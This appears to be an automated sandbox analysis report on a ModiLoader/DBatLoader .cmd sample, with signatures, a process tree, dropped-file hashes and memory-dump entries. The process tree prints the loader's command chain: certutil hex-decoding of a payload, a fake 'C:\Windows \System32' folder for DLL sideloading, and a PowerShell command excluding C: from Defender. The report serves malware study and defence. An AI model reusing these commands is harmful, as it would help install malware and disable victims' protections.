Analysis

  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/06/2024, 01:26

General

  • Target
    b4e86c38b2b424b473220586c583c7da8ecb98d192581ef0ba37774911cf8351.cmd
  • Size 3.6MB
  • Sample240608-btws3afb3t
  • SHA256 b4e86c38b2b424b473220586c583c7da8ecb98d192581ef0ba37774911cf8351
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ModiLoader Second Stage 63 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 47 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of UnmapMainImage
    • Suspicious use of WriteProcessMemory
    PID:3456
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b4e86c38b2b424b473220586c583c7da8ecb98d192581ef0ba37774911cf8351.cmd"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3432
      • C:\Windows\System32\extrac32.exe
        C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
        3⤵
          PID:5108
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            4⤵
              PID:1572
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\b4e86c38b2b424b473220586c583c7da8ecb98d192581ef0ba37774911cf8351.cmd" "C:\\Users\\Public\\Audio.mp4" 9
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2464
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\b4e86c38b2b424b473220586c583c7da8ecb98d192581ef0ba37774911cf8351.cmd" "C:\\Users\\Public\\Audio.mp4" 9
              4⤵
              • Executes dropped EXE
              PID:1168
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Audio.mp4" "C:\\Users\\Public\\Libraries\\Audio.pif" 12
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2432
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Audio.mp4" "C:\\Users\\Public\\Libraries\\Audio.pif" 12
              4⤵
              • Executes dropped EXE
              PID:3500
          • C:\Users\Public\Libraries\Audio.pif
            C:\Users\Public\Libraries\Audio.pif
            3⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:2260
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c mkdir "\\?\C:\Windows "
              4⤵
                PID:1828
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows \System32"
                4⤵
                  PID:1728
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c "C:\\Windows \\System32\\cmd.pif"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4808
                  • C:\Windows \System32\cmd.pif
                    "C:\\Windows \\System32\\cmd.pif"
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:840
                    • C:\Windows\SYSTEM32\cmd.exe
                      cmd /c start /min powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:'
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4424
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:'
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4040
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Audio.pif C:\\Users\\Public\\Libraries\\Dkftajgk.PIF
                  4⤵
                    PID:4184
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  3⤵
                  • Executes dropped EXE
                  PID:4728
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Audio.mp4" / A / F / Q / S
                  3⤵
                  • Executes dropped EXE
                  PID:2404
              • C:\Windows\SysWOW64\dxdiag.exe
                "C:\Windows\SysWOW64\dxdiag.exe"
                2⤵
                • Suspicious use of SetThreadContext
                • Modifies Internet Explorer settings
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:1436
                • C:\Program Files\Mozilla Firefox\Firefox.exe
                  "C:\Program Files\Mozilla Firefox\Firefox.exe"
                  3⤵
                    PID:4300

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    __PSScriptPolicyTest_zi25gchg.c1m.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zi25gchg.c1m.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    Audio.mp4

                    • Path C:\Users\Public\Audio.mp4
                    • Size 2.5MB
                    • SHA256 c5fb2bd432c465244b7bcc770203bdbefba308c2fe71eebe2978bb4acc2e33fb
                    • MD5 SHA1 SHA512 SSDEEP

                    Audio.pif

                    • Path C:\Users\Public\Libraries\Audio.pif
                    • Size 1.2MB
                    • SHA256 2e5fe8ee47576eb7495f08e187bcae3b5b3004b7430e2bee7b4c564b559eebed
                    • MD5 SHA1 SHA512 SSDEEP

                    alpha.exe

                    • Path C:\Users\Public\alpha.exe
                    • Size 283KB
                    • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                    • MD5 SHA1 SHA512 SSDEEP

                    kn.exe

                    • Path C:\Users\Public\kn.exe
                    • Size 1.6MB
                    • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                    • MD5 SHA1 SHA512 SSDEEP

                    cmd.pif

                    • Path C:\Windows \System32\cmd.pif
                    • Size 94KB
                    • SHA256 0db4d3ffdb96d13cf3b427af8be66d985728c55ae254e4b67d287797e4c0b323
                    • MD5 SHA1 SHA512 SSDEEP

                    netutils.dll

                    • Path C:\Windows \System32\netutils.dll
                    • Size 109KB
                    • SHA256 e0d3d0cf79d7969da536946de8a7395cab39ddfaca7ba7353aa6544d04209b2e
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/2260-71-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-86-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-30-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-29-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-32-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-33-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-34-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-35-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-37-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-39-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-42-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-47-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-65-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-84-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-64-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-83-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-91-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-89-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-88-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-66-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-85-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-82-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-81-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-80-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-79-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-78-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-77-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-75-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-74-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-28-0x0000000000400000-0x0000000000546000-memory.dmp

                    memory/2260-90-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-87-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-31-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-63-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-67-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-62-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-61-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-76-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-60-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-73-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-59-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-72-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-70-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-69-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-68-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-51-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-50-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-58-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-57-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-49-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-56-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-48-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-55-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-54-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-53-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-46-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-52-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-45-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-44-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-43-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-41-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-40-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-38-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/2260-36-0x0000000002A70000-0x0000000003A70000-memory.dmp

                    memory/4040-217-0x0000028D20A00000-0x0000028D20A22000-memory.dmp